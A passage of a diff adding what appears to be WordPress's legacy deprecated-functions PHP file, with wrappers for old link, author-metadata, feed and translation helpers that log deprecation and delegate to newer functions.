+
+	$link = get_author_posts_url($author_id, $author_nicename);
+
+	if ( $echo )
+		echo $link;
+	return $link;
+}
+
+/**
+ * Print list of pages based on arguments.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0
+ * @deprecated Use wp_link_pages()
+ * @see wp_link_pages()
+ *
+ * @param string $before
+ * @param string $after
+ * @param string $next_or_number
+ * @param string $nextpagelink
+ * @param string $previouspagelink
+ * @param string $pagelink
+ * @param string $more_file
+ * @return string
+ */
+function link_pages($before='<br />', $after='<br />', $next_or_number='number', $nextpagelink='next page', $previouspagelink='previous page',
+					$pagelink='%', $more_file='') {
+	_deprecated_function( __FUNCTION__, '2.1', 'wp_link_pages()' );
+
+	$args = compact('before', 'after', 'next_or_number', 'nextpagelink', 'previouspagelink', 'pagelink', 'more_file');
+	return wp_link_pages($args);
+}
+
+/**
+ * Get value based on option.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0
+ * @deprecated Use get_option()
+ * @see get_option()
+ *
+ * @param string $option
+ * @return string
+ */
+function get_settings($option) {
+	_deprecated_function( __FUNCTION__, '2.1', 'get_option()' );
+
+	return get_option($option);
+}
+
+/**
+ * Print the permalink of the current post in the loop.
+ *
+ * @since 0.71
+ * @deprecated 1.2.0
+ * @deprecated Use the_permalink()
+ * @see the_permalink()
+ */
+function permalink_link() {
+	_deprecated_function( __FUNCTION__, '1.2', 'the_permalink()' );
+	the_permalink();
+}
+
+/**
+ * Print the permalink to the RSS feed.
+ *
+ * @since 0.71
+ * @deprecated 2.3.0
+ * @deprecated Use the_permalink_rss()
+ * @see the_permalink_rss()
+ *
+ * @param string $deprecated
+ */
+function permalink_single_rss($deprecated = '') {
+	_deprecated_function( __FUNCTION__, '2.3', 'the_permalink_rss()' );
+	the_permalink_rss();
+}
+
+/**
+ * Gets the links associated with category.
+ *
+ * @see get_links() for argument information that can be used in $args
+ * @since 1.0.1
+ * @deprecated 2.1.0
+ * @deprecated Use wp_list_bookmarks()
+ * @see wp_list_bookmarks()
+ *
+ * @param string $args a query string
+ * @return null|string
+ */
+function wp_get_links($args = '') {
+	_deprecated_function( __FUNCTION__, '2.1', 'wp_list_bookmarks()' );
+
+	if ( strpos( $args, '=' ) === false ) {
+		$cat_id = $args;
+		$args = add_query_arg( 'category', $cat_id, $args );
+	}
+
+	$defaults = array(
+		'after' => '<br />',
+		'before' => '',
+		'between' => ' ',
+		'categorize' => 0,
+		'category' => '',
+		'echo' => true,
+		'limit' => -1,
+		'orderby' => 'name',
+		'show_description' => true,
+		'show_images' => true,
+		'show_rating' => false,
+		'show_updated' => true,
+		'title_li' => '',
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	return wp_list_bookmarks($r);
+}
+
+/**
+ * Gets the links associated with category by id.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0
+ * @deprecated Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param int $category The category to use. If no category supplied uses all
+ * @param string $before the html to output before the link
+ * @param string $after the html to output after the link
+ * @param string $between the html to output between the link/image and its description.
+ *		Not used if no image or show_images == true
+ * @param bool $show_images whether to show images (if defined).
+ * @param string $orderby the order to output the links. E.g. 'id', 'name', 'url',
+ *		'description', or 'rating'. Or maybe owner. If you start the name with an
+ *		underscore the order will be reversed. You can also specify 'rand' as the order
+ *		which will return links in a random order.
+ * @param bool $show_description whether to show the description if show_images=false/not defined.
+ * @param bool $show_rating show rating stars/chars
+ * @param int $limit Limit to X entries. If not specified, all entries are shown.
+ * @param int $show_updated whether to show last updated timestamp
+ * @param bool $echo whether to echo the results, or return them instead
+ * @return null|string
+ */
+function get_links($category = -1, $before = '', $after = '<br />', $between = ' ', $show_images = true, $orderby = 'name',
+			$show_description = true, $show_rating = false, $limit = -1, $show_updated = 1, $echo = true) {
+	_deprecated_function( __FUNCTION__, '2.1', 'get_bookmarks()' );
+
+	$order = 'ASC';
+	if ( substr($orderby, 0, 1) == '_' ) {
+		$order = 'DESC';
+		$orderby = substr($orderby, 1);
+	}
+
+	if ( $category == -1 ) //get_bookmarks uses '' to signify all categories
+		$category = '';
+
+	$results = get_bookmarks(array('category' => $category, 'orderby' => $orderby, 'order' => $order, 'show_updated' => $show_updated, 'limit' => $limit));
+
+	if ( !$results )
+		return;
+
+	$output = '';
+
+	foreach ( (array) $results as $row ) {
+		if ( !isset($row->recently_updated) )
+			$row->recently_updated = false;
+		$output .= $before;
+		if ( $show_updated && $row->recently_updated )
+			$output .= get_option('links_recently_updated_prepend');
+		$the_link = '#';
+		if ( !empty($row->link_url) )
+			$the_link = esc_url($row->link_url);
+		$rel = $row->link_rel;
+		if ( '' != $rel )
+			$rel = ' rel="' . $rel . '"';
+
+		$desc = esc_attr(sanitize_bookmark_field('link_description', $row->link_description, $row->link_id, 'display'));
+		$name = esc_attr(sanitize_bookmark_field('link_name', $row->link_name, $row->link_id, 'display'));
+		$title = $desc;
+
+		if ( $show_updated )
+			if (substr($row->link_updated_f, 0, 2) != '00')
+				$title .= ' ('.__('Last updated') . ' ' . date(get_option('links_updated_date_format'), $row->link_updated_f + (get_option('gmt_offset') * HOUR_IN_SECONDS)) . ')';
+
+		if ( '' != $title )
+			$title = ' title="' . $title . '"';
+
+		$alt = ' alt="' . $name . '"';
+
+		$target = $row->link_target;
+		if ( '' != $target )
+			$target = ' target="' . $target . '"';
+
+		$output .= '<a href="' . $the_link . '"' . $rel . $title . $target. '>';
+
+		if ( $row->link_image != null && $show_images ) {
+			if ( strpos($row->link_image, 'http') !== false )
+				$output .= "<img src=\"$row->link_image\" $alt $title />";
+			else // If it's a relative path
+				$output .= "<img src=\"" . get_option('siteurl') . "$row->link_image\" $alt $title />";
+		} else {
+			$output .= $name;
+		}
+
+		$output .= '</a>';
+
+		if ( $show_updated && $row->recently_updated )
+			$output .= get_option('links_recently_updated_append');
+
+		if ( $show_description && '' != $desc )
+			$output .= $between . $desc;
+
+		if ($show_rating) {
+			$output .= $between . get_linkrating($row);
+		}
+
+		$output .= "$after\n";
+	} // end while
+
+	if ( !$echo )
+		return $output;
+	echo $output;
+}
+
+/**
+ * Output entire list of links by category.
+ *
+ * Output a list of all links, listed by category, using the settings in
+ * $wpdb->linkcategories and output it as a nested HTML unordered list.
+ *
+ * @since 1.0.1
+ * @deprecated 2.1.0
+ * @deprecated Use wp_list_bookmarks()
+ * @see wp_list_bookmarks()
+ *
+ * @param string $order Sort link categories by 'name' or 'id'
+ */
+function get_links_list($order = 'name') {
+	_deprecated_function( __FUNCTION__, '2.1', 'wp_list_bookmarks()' );
+
+	$order = strtolower($order);
+
+	// Handle link category sorting
+	$direction = 'ASC';
+	if ( '_' == substr($order,0,1) ) {
+		$direction = 'DESC';
+		$order = substr($order,1);
+	}
+
+	if ( !isset($direction) )
+		$direction = '';
+
+	$cats = get_categories(array('type' => 'link', 'orderby' => $order, 'order' => $direction, 'hierarchical' => 0));
+
+	// Display each category
+	if ( $cats ) {
+		foreach ( (array) $cats as $cat ) {
+			// Handle each category.
+
+			// Display the category name
+			echo '  <li id="linkcat-' . $cat->term_id . '" class="linkcat"><h2>' . apply_filters('link_category', $cat->name ) . "</h2>\n\t<ul>\n";
+			// Call get_links() with all the appropriate params
+			get_links($cat->term_id, '<li>', "</li>", "\n", true, 'name', false);
+
+			// Close the last category
+			echo "\n\t</ul>\n</li>\n";
+		}
+	}
+}
+
+/**
+ * Show the link to the links popup and the number of links.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0
+ * @deprecated {@internal Use function instead is unknown}}
+ *
+ * @param string $text the text of the link
+ * @param int $width the width of the popup window
+ * @param int $height the height of the popup window
+ * @param string $file the page to open in the popup window
+ * @param bool $count the number of links in the db
+ */
+function links_popup_script($text = 'Links', $width=400, $height=400, $file='links.all.php', $count = true) {
+	_deprecated_function( __FUNCTION__, '2.1' );
+}
+
+/**
+ * @since 1.0.1
+ * @deprecated 2.1.0
+ * @deprecated Use sanitize_bookmark_field()
+ * @see sanitize_bookmark_field()
+ *
+ * @param object $link
+ * @return mixed
+ */
+function get_linkrating($link) {
+	_deprecated_function( __FUNCTION__, '2.1', 'sanitize_bookmark_field()' );
+	return sanitize_bookmark_field('link_rating', $link->link_rating, $link->link_id, 'display');
+}
+
+/**
+ * Gets the name of category by id.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0
+ * @deprecated Use get_category()
+ * @see get_category()
+ *
+ * @param int $id The category to get. If no category supplied uses 0
+ * @return string
+ */
+function get_linkcatname($id = 0) {
+	_deprecated_function( __FUNCTION__, '2.1', 'get_category()' );
+
+	$id = (int) $id;
+
+	if ( empty($id) )
+		return '';
+
+	$cats = wp_get_link_cats($id);
+
+	if ( empty($cats) || ! is_array($cats) )
+		return '';
+
+	$cat_id = (int) $cats[0]; // Take the first cat.
+
+	$cat = get_category($cat_id);
+	return $cat->name;
+}
+
+/**
+ * Print RSS comment feed link.
+ *
+ * @since 1.0.1
+ * @deprecated 2.5.0
+ * @deprecated Use post_comments_feed_link()
+ * @see post_comments_feed_link()
+ *
+ * @param string $link_text
+ */
+function comments_rss_link($link_text = 'Comments RSS') {
+	_deprecated_function( __FUNCTION__, '2.5', 'post_comments_feed_link()' );
+	post_comments_feed_link($link_text);
+}
+
+/**
+ * Print/Return link to category RSS2 feed.
+ *
+ * @since 1.2.0
+ * @deprecated 2.5.0
+ * @deprecated Use get_category_feed_link()
+ * @see get_category_feed_link()
+ *
+ * @param bool $echo
+ * @param int $cat_ID
+ * @return string
+ */
+function get_category_rss_link($echo = false, $cat_ID = 1) {
+	_deprecated_function( __FUNCTION__, '2.5', 'get_category_feed_link()' );
+
+	$link = get_category_feed_link($cat_ID, 'rss2');
+
+	if ( $echo )
+		echo $link;
+	return $link;
+}
+
+/**
+ * Print/Return link to author RSS feed.
+ *
+ * @since 1.2.0
+ * @deprecated 2.5.0
+ * @deprecated Use get_author_feed_link()
+ * @see get_author_feed_link()
+ *
+ * @param bool $echo
+ * @param int $author_id
+ * @return string
+ */
+function get_author_rss_link($echo = false, $author_id = 1) {
+	_deprecated_function( __FUNCTION__, '2.5', 'get_author_feed_link()' );
+
+	$link = get_author_feed_link($author_id);
+	if ( $echo )
+		echo $link;
+	return $link;
+}
+
+/**
+ * Return link to the post RSS feed.
+ *
+ * @since 1.5.0
+ * @deprecated 2.2.0
+ * @deprecated Use get_post_comments_feed_link()
+ * @see get_post_comments_feed_link()
+ *
+ * @return string
+ */
+function comments_rss() {
+	_deprecated_function( __FUNCTION__, '2.2', 'get_post_comments_feed_link()' );
+	return esc_url( get_post_comments_feed_link() );
+}
+
+/**
+ * An alias of wp_create_user().
+ *
+ * @since 2.0.0
+ * @deprecated 2.0.0
+ * @deprecated Use wp_create_user()
+ * @see wp_create_user()
+ *
+ * @param string $username The user's username.
+ * @param string $password The user's password.
+ * @param string $email    The user's email.
+ * @return int The new user's ID.
+ */
+function create_user($username, $password, $email) {
+	_deprecated_function( __FUNCTION__, '2.0', 'wp_create_user()' );
+	return wp_create_user($username, $password, $email);
+}
+
+/**
+ * Unused function.
+ *
+ * @deprecated 2.5.0
+*/
+function gzip_compression() {
+	_deprecated_function( __FUNCTION__, '2.5' );
+	return false;
+}
+
+/**
+ * Retrieve an array of comment data about comment $comment_ID.
+ *
+ * @since 0.71
+ * @deprecated 2.7.0
+ * @deprecated Use get_comment()
+ * @see get_comment()
+ *
+ * @param int $comment_ID The ID of the comment
+ * @param int $no_cache Whether to use the cache (cast to bool)
+ * @param bool $include_unapproved Whether to include unapproved comments
+ * @return array The comment data
+ */
+function get_commentdata( $comment_ID, $no_cache = 0, $include_unapproved = false ) {
+	_deprecated_function( __FUNCTION__, '2.7', 'get_comment()' );
+	return get_comment($comment_ID, ARRAY_A);
+}
+
+/**
+ * Retrieve the category name by the category ID.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0
+ * @deprecated Use get_cat_name()
+ * @see get_cat_name()
+ *
+ * @param int $cat_ID Category ID
+ * @return string category name
+ */
+function get_catname( $cat_ID ) {
+	_deprecated_function( __FUNCTION__, '2.8', 'get_cat_name()' );
+	return get_cat_name( $cat_ID );
+}
+
+/**
+ * Retrieve category children list separated before and after the term IDs.
+ *
+ * @since 1.2.0
+ * @deprecated 2.8.0
+ * @deprecated Use get_term_children()
+ * @see get_term_children()
+ *
+ * @param int $id Category ID to retrieve children.
+ * @param string $before Optional. Prepend before category term ID.
+ * @param string $after Optional, default is empty string. Append after category term ID.
+ * @param array $visited Optional. Category Term IDs that have already been added.
+ * @return string
+ */
+function get_category_children( $id, $before = '/', $after = '', $visited = array() ) {
+	_deprecated_function( __FUNCTION__, '2.8', 'get_term_children()' );
+	if ( 0 == $id )
+		return '';
+
+	$chain = '';
+	/** TODO: consult hierarchy */
+	$cat_ids = get_all_category_ids();
+	foreach ( (array) $cat_ids as $cat_id ) {
+		if ( $cat_id == $id )
+			continue;
+
+		$category = get_category( $cat_id );
+		if ( is_wp_error( $category ) )
+			return $category;
+		if ( $category->parent == $id && !in_array( $category->term_id, $visited ) ) {
+			$visited[] = $category->term_id;
+			$chain .= $before.$category->term_id.$after;
+			$chain .= get_category_children( $category->term_id, $before, $after );
+		}
+	}
+	return $chain;
+}
+
+/**
+ * Retrieves all category IDs.
+ *
+ * @since 2.0.0
+ * @deprecated 4.0.0 Use get_terms() instead.
+ * @see get_terms()
+ * @link http://codex.wordpress.org/Function_Reference/get_all_category_ids
+ *
+ * @return object List of all of the category IDs.
+ */
+function get_all_category_ids() {
+	_deprecated_function( __FUNCTION__, '4.0', 'get_terms()' );
+
+	if ( ! $cat_ids = wp_cache_get( 'all_category_ids', 'category' ) ) {
+		$cat_ids = get_terms( 'category', array('fields' => 'ids', 'get' => 'all') );
+		wp_cache_add( 'all_category_ids', $cat_ids, 'category' );
+	}
+
+	return $cat_ids;
+}
+
+/**
+ * Retrieve the description of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0
+ * @deprecated Use get_the_author_meta('description')
+ * @see get_the_author_meta()
+ *
+ * @return string The author's description.
+ */
+function get_the_author_description() {
+	_deprecated_function( __FUNCTION__, '2.8', 'get_the_author_meta(\'description\')' );
+	return get_the_author_meta('description');
+}
+
+/**
+ * Display the description of the author of the current post.
+ *
+ * @since 1.0.0
+ * @deprecated 2.8.0
+ * @deprecated Use the_author_meta('description')
+ * @see the_author_meta()
+ */
+function the_author_description() {
+	_deprecated_function( __FUNCTION__, '2.8', 'the_author_meta(\'description\')' );
+	the_author_meta('description');
+}
+
+/**
+ * Retrieve the login name of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0
+ * @deprecated Use get_the_author_meta('login')
+ * @see get_the_author_meta()
+ *
+ * @return string The author's login name (username).
+ */
+function get_the_author_login() {
+	_deprecated_function( __FUNCTION__, '2.8', 'get_the_author_meta(\'login\')' );
+	return get_the_author_meta('login');
+}
+
+/**
+ * Display the login name of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0
+ * @deprecated Use the_author_meta('login')
+ * @see the_author_meta()
+ */
+function the_author_login() {
+	_deprecated_function( __FUNCTION__, '2.8', 'the_author_meta(\'login\')' );
+	the_author_meta('login');
+}
+
+/**
+ * Retrieve the first name of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0
+ * @deprecated Use get_the_author_meta('first_name')
+ * @see get_the_author_meta()
+ *
+ * @return string The author's first name.
+ */
+function get_the_author_firstname() {
+	_deprecated_function( __FUNCTION__, '2.8', 'get_the_author_meta(\'first_name\')' );
+	return get_the_author_meta('first_name');
+}
+
+/**
+ * Display the first name of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0
+ * @deprecated Use the_author_meta('first_name')
+ * @see the_author_meta()
+ */
+function the_author_firstname() {
+	_deprecated_function( __FUNCTION__, '2.8', 'the_author_meta(\'first_name\')' );
+	the_author_meta('first_name');
+}
+
+/**
+ * Retrieve the last name of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0
+ * @deprecated Use get_the_author_meta('last_name')
+ * @see get_the_author_meta()
+ *
+ * @return string The author's last name.
+ */
+function get_the_author_lastname() {
+	_deprecated_function( __FUNCTION__, '2.8', 'get_the_author_meta(\'last_name\')' );
+	return get_the_author_meta('last_name');
+}
+
+/**
+ * Display the last name of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0
+ * @deprecated Use the_author_meta('last_name')
+ * @see the_author_meta()
+ */
+function the_author_lastname() {
+	_deprecated_function( __FUNCTION__, '2.8', 'the_author_meta(\'last_name\')' );
+	the_author_meta('last_name');
+}
+
+/**
+ * Retrieve the nickname of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0
+ * @deprecated Use get_the_author_meta('nickname')
+ * @see get_the_author_meta()
+ *
+ * @return string The author's nickname.
+ */
+function get_the_author_nickname() {
+	_deprecated_function( __FUNCTION__, '2.8', 'get_the_author_meta(\'nickname\')' );
+	return get_the_author_meta('nickname');
+}
+
+/**
+ * Display the nickname of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0
+ * @deprecated Use the_author_meta('nickname')
+ * @see the_author_meta()
+ */
+function the_author_nickname() {
+	_deprecated_function( __FUNCTION__, '2.8', 'the_author_meta(\'nickname\')' );
+	the_author_meta('nickname');
+}
+
+/**
+ * Retrieve the email of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0
+ * @deprecated Use get_the_author_meta('email')
+ * @see get_the_author_meta()
+ *
+ * @return string The author's username.
+ */
+function get_the_author_email() {
+	_deprecated_function( __FUNCTION__, '2.8', 'get_the_author_meta(\'email\')' );
+	return get_the_author_meta('email');
+}
+
+/**
+ * Display the email of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0
+ * @deprecated Use the_author_meta('email')
+ * @see the_author_meta()
+ */
+function the_author_email() {
+	_deprecated_function( __FUNCTION__, '2.8', 'the_author_meta(\'email\')' );
+	the_author_meta('email');
+}
+
+/**
+ * Retrieve the ICQ number of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0
+ * @deprecated Use get_the_author_meta('icq')
+ * @see get_the_author_meta()
+ *
+ * @return string The author's ICQ number.
+ */
+function get_the_author_icq() {
+	_deprecated_function( __FUNCTION__, '2.8', 'get_the_author_meta(\'icq\')' );
+	return get_the_author_meta('icq');
+}
+
+/**
+ * Display the ICQ number of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0
+ * @deprecated Use the_author_meta('icq')
+ * @see the_author_meta()
+ */
+function the_author_icq() {
+	_deprecated_function( __FUNCTION__, '2.8', 'the_author_meta(\'icq\')' );
+	the_author_meta('icq');
+}
+
+/**
+ * Retrieve the Yahoo! IM name of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0
+ * @deprecated Use get_the_author_meta('yim')
+ * @see get_the_author_meta()
+ *
+ * @return string The author's Yahoo! IM name.
+ */
+function get_the_author_yim() {
+	_deprecated_function( __FUNCTION__, '2.8', 'get_the_author_meta(\'yim\')' );
+	return get_the_author_meta('yim');
+}
+
+/**
+ * Display the Yahoo! IM name of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0
+ * @deprecated Use the_author_meta('yim')
+ * @see the_author_meta()
+ */
+function the_author_yim() {
+	_deprecated_function( __FUNCTION__, '2.8', 'the_author_meta(\'yim\')' );
+	the_author_meta('yim');
+}
+
+/**
+ * Retrieve the MSN address of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0
+ * @deprecated Use get_the_author_meta('msn')
+ * @see get_the_author_meta()
+ *
+ * @return string The author's MSN address.
+ */
+function get_the_author_msn() {
+	_deprecated_function( __FUNCTION__, '2.8', 'get_the_author_meta(\'msn\')' );
+	return get_the_author_meta('msn');
+}
+
+/**
+ * Display the MSN address of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0
+ * @deprecated Use the_author_meta('msn')
+ * @see the_author_meta()
+ */
+function the_author_msn() {
+	_deprecated_function( __FUNCTION__, '2.8', 'the_author_meta(\'msn\')' );
+	the_author_meta('msn');
+}
+
+/**
+ * Retrieve the AIM address of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0
+ * @deprecated Use get_the_author_meta('aim')
+ * @see get_the_author_meta()
+ *
+ * @return string The author's AIM address.
+ */
+function get_the_author_aim() {
+	_deprecated_function( __FUNCTION__, '2.8', 'get_the_author_meta(\'aim\')' );
+	return get_the_author_meta('aim');
+}
+
+/**
+ * Display the AIM address of the author of the current post.
+ *
+ * @since 0.71
+ * @see the_author_meta()
+ * @deprecated 2.8.0
+ * @deprecated Use the_author_meta('aim')
+ */
+function the_author_aim() {
+	_deprecated_function( __FUNCTION__, '2.8', 'the_author_meta(\'aim\')' );
+	the_author_meta('aim');
+}
+
+/**
+ * Retrieve the specified author's preferred display name.
+ *
+ * @since 1.0.0
+ * @deprecated 2.8.0
+ * @deprecated Use get_the_author_meta('display_name')
+ * @see get_the_author_meta()
+ *
+ * @param int $auth_id The ID of the author.
+ * @return string The author's display name.
+ */
+function get_author_name( $auth_id = false ) {
+	_deprecated_function( __FUNCTION__, '2.8', 'get_the_author_meta(\'display_name\')' );
+	return get_the_author_meta('display_name', $auth_id);
+}
+
+/**
+ * Retrieve the URL to the home page of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0
+ * @deprecated Use get_the_author_meta('url')
+ * @see get_the_author_meta()
+ *
+ * @return string The URL to the author's page.
+ */
+function get_the_author_url() {
+	_deprecated_function( __FUNCTION__, '2.8', 'get_the_author_meta(\'url\')' );
+	return get_the_author_meta('url');
+}
+
+/**
+ * Display the URL to the home page of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0
+ * @deprecated Use the_author_meta('url')
+ * @see the_author_meta()
+ */
+function the_author_url() {
+	_deprecated_function( __FUNCTION__, '2.8', 'the_author_meta(\'url\')' );
+	the_author_meta('url');
+}
+
+/**
+ * Retrieve the ID of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0
+ * @deprecated Use get_the_author_meta('ID')
+ * @see get_the_author_meta()
+ *
+ * @return string|int The author's ID.
+ */
+function get_the_author_ID() {
+	_deprecated_function( __FUNCTION__, '2.8', 'get_the_author_meta(\'ID\')' );
+	return get_the_author_meta('ID');
+}
+
+/**
+ * Display the ID of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0
+ * @deprecated Use the_author_meta('ID')
+ * @see the_author_meta()
+*/
+function the_author_ID() {
+	_deprecated_function( __FUNCTION__, '2.8', 'the_author_meta(\'ID\')' );
+	the_author_meta('ID');
+}
+
+/**
+ * Display the post content for the feed.
+ *
+ * For encoding the html or the $encode_html parameter, there are three possible
+ * values. '0' will make urls footnotes and use make_url_footnote(). '1' will
+ * encode special characters and automatically display all of the content. The
+ * value of '2' will strip all HTML tags from the content.
+ *
+ * Also note that you cannot set the amount of words and not set the html
+ * encoding. If that is the case, then the html encoding will default to 2,
+ * which will strip all HTML tags.
+ *
+ * To restrict the amount of words of the content, you can use the cut
+ * parameter. If the content is less than the amount, then there won't be any
+ * dots added to the end. If there is content left over, then dots will be added
+ * and the rest of the content will be removed.
+ *
+ * @since 0.71
+ *
+ * @deprecated 2.9.0
+ * @deprecated Use the_content_feed()
+ * @see the_content_feed()
+ *
+ * @param string $more_link_text Optional. Text to display when more content is available but not displayed.
+ * @param int $stripteaser Optional. Default is 0.
+ * @param string $more_file Optional.
+ * @param int $cut Optional. Amount of words to keep for the content.
+ * @param int $encode_html Optional. How to encode the content.
+ */
+function the_content_rss($more_link_text='(more...)', $stripteaser=0, $more_file='', $cut = 0, $encode_html = 0) {
+	_deprecated_function( __FUNCTION__, '2.9', 'the_content_feed' );
+	$content = get_the_content($more_link_text, $stripteaser);
+	$content = apply_filters('the_content_rss', $content);
+	if ( $cut && !$encode_html )
+		$encode_html = 2;
+	if ( 1== $encode_html ) {
+		$content = esc_html($content);
+		$cut = 0;
+	} elseif ( 0 == $encode_html ) {
+		$content = make_url_footnote($content);
+	} elseif ( 2 == $encode_html ) {
+		$content = strip_tags($content);
+	}
+	if ( $cut ) {
+		$blah = explode(' ', $content);
+		if ( count($blah) > $cut ) {
+			$k = $cut;
+			$use_dotdotdot = 1;
+		} else {
+			$k = count($blah);
+			$use_dotdotdot = 0;
+		}
+
+		/** @todo Check performance, might be faster to use array slice instead. */
+		for ( $i=0; $i<$k; $i++ )
+			$excerpt .= $blah[$i].' ';
+		$excerpt .= ($use_dotdotdot) ? '...' : '';
+		$content = $excerpt;
+	}
+	$content = str_replace(']]>', ']]&gt;', $content);
+	echo $content;
+}
+
+/**
+ * Strip HTML and put links at the bottom of stripped content.
+ *
+ * Searches for all of the links, strips them out of the content, and places
+ * them at the bottom of the content with numbers.
+ *
+ * @since 0.71
+ * @deprecated 2.9.0
+ *
+ * @param string $content Content to get links
+ * @return string HTML stripped out of content with links at the bottom.
+ */
+function make_url_footnote( $content ) {
+	_deprecated_function( __FUNCTION__, '2.9', '' );
+	preg_match_all( '/<a(.+?)href=\"(.+?)\"(.*?)>(.+?)<\/a>/', $content, $matches );
+	$links_summary = "\n";
+	for ( $i=0; $i<count($matches[0]); $i++ ) {
+		$link_match = $matches[0][$i];
+		$link_number = '['.($i+1).']';
+		$link_url = $matches[2][$i];
+		$link_text = $matches[4][$i];
+		$content = str_replace( $link_match, $link_text . ' ' . $link_number, $content );
+		$link_url = ( ( strtolower( substr( $link_url, 0, 7 ) ) != 'http://' ) && ( strtolower( substr( $link_url, 0, 8 ) ) != 'https://' ) ) ? get_option( 'home' ) . $link_url : $link_url;
+		$links_summary .= "\n" . $link_number . ' ' . $link_url;
+	}
+	$content  = strip_tags( $content );
+	$content .= $links_summary;
+	return $content;
+}
+
+/**
+ * Retrieve translated string with vertical bar context
+ *
+ * Quite a few times, there will be collisions with similar translatable text
+ * found in more than two places but with different translated context.
+ *
+ * In order to use the separate contexts, the _c() function is used and the
+ * translatable string uses a pipe ('|') which has the context the string is in.
+ *
+ * When the translated string is returned, it is everything before the pipe, not
+ * including the pipe character. If there is no pipe in the translated text then
+ * everything is returned.
+ *
+ * @since 2.2.0
+ * @deprecated 2.9.0
+ * @deprecated Use _x()
+ * @see _x()
+ *
+ * @param string $text Text to translate
+ * @param string $domain Optional. Domain to retrieve the translated text
+ * @return string Translated context string without pipe
+ */
+function _c( $text, $domain = 'default' ) {
+	_deprecated_function( __FUNCTION__, '2.9', '_x()' );
+	return before_last_bar( translate( $text, $domain ) );
+}
+
+/**
+ * Translates $text like translate(), but assumes that the text
+ * contains a context after its last vertical bar.
+ *
+ * @since 2.5.0
+ * @deprecated 3.0.0
+ * @deprecated Use _x()
+ * @see _x()
+ *
+ * @param string $text Text to translate
+ * @param string $domain Domain to retrieve the translated text
+ * @return string Translated text
+ */
+function translate_with_context( $text, $domain = 'default' ) {
+	_deprecated_function( __FUNCTION__, '2.9', '_x()' );
+	return before_last_bar( translate( $text, $domain ) );
+}
+
+/**
+ * A version of _n(), which supports contexts.
+ * Strips everything from the translation after the last bar.
+ *
+ * @since 2.7.0
+ * @deprecated 3.0.0
+ * @deprecated Use _nx()
+ * @see _nx()
+ * @see _n() For parameters.
+ * @see _c() For parameters. _c() is deprecated.
+ *
+ */
+function _nc( $single, $plural, $number, $domain = 'default' ) {
+	_deprecated_function( __FUNCTION__, '2.9', '_nx()' );
+	return before_last_bar( _n( $single, $plural, $number, $domain ) );
+}
+
+/**
+ * Retrieve the plural or single form based on the amount.
+ *
+ * @since 1.2.0
+ * @deprecated 2.8.0
+ * @deprecated Use _n()
+ * @see _n()
+ */
+function __ngettext() {
+	_deprecated_function( __FUNCTION__, '2.8', '_n()' );
+	$args = func_get_args();
+	return call_user_func_array('_n', $args);
+}
+
+/**
+ * Register plural strings in POT file, but don't translate them.
+ *
+ * @since 2.5.0
+ * @deprecated 2.8.0
+ * @deprecated Use _n_noop()
+ * @see _n_noop()
+ */
+function __ngettext_noop() {
+	_deprecated_function( __FUNCTION__, '2.8', '_n_noop()' );
+	$args = func_get_args();
+	return call_user_func_array('_n_noop', $args);
+
+}
+
+/**
+ * Retrieve all autoload options, or all options if no autoloaded ones exist.
+ *
+ * @since 1.0.0
+ * @deprecated 3.0.0
+ * @deprecated Use wp_load_alloptions())
+ * @see wp_load_alloptions()
+ *
+ * @return array List of all options.
+ */
+function get_alloptions() {
+	_deprecated_function( __FUNCTION__, '3.0', 'wp_load_alloptions()' );
+	return wp_load_alloptions();
+}
+
+/**
+ * Retrieve HTML content of attachment image with link.
+ *
+ * @since 2.0.0
+ * @deprecated 2.5.0
+ * @deprecated Use wp_get_attachment_link()
+ * @see wp_get_attachment_link()
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $fullsize Optional, default is false. Whether to use full size image.
+ * @param array $max_dims Optional. Max image dimensions.
+ * @param bool $permalink Optional, default is false. Whether to include permalink to image.
+ * @return string
+ */
+function get_the_attachment_link($id = 0, $fullsize = false, $max_dims = false, $permalink = false) {
+	_deprecated_function( __FUNCTION__, '2.5', 'wp_get_attachment_link()' );
+	$id = (int) $id;
+	$_post = get_post($id);
+
+	if ( ('attachment' != $_post->post_type) || !$url = wp_get_attachment_url($_post->ID) )
+		return __('Missing Attachment');
+
+	if ( $permalink )
+		$url = get_attachment_link($_post->ID);
+
+	$post_title = esc_attr($_post->post_title);
+
+	$innerHTML = get_attachment_innerHTML($_post->ID, $fullsize, $max_dims);
+	return "<a href='$url' title='$post_title'>$innerHTML</a>";
+}
+
+/**
+ * Retrieve icon URL and Path.
+ *
+ * @since 2.1.0
+ * @deprecated 2.5.0
+ * @deprecated Use wp_get_attachment_image_src()
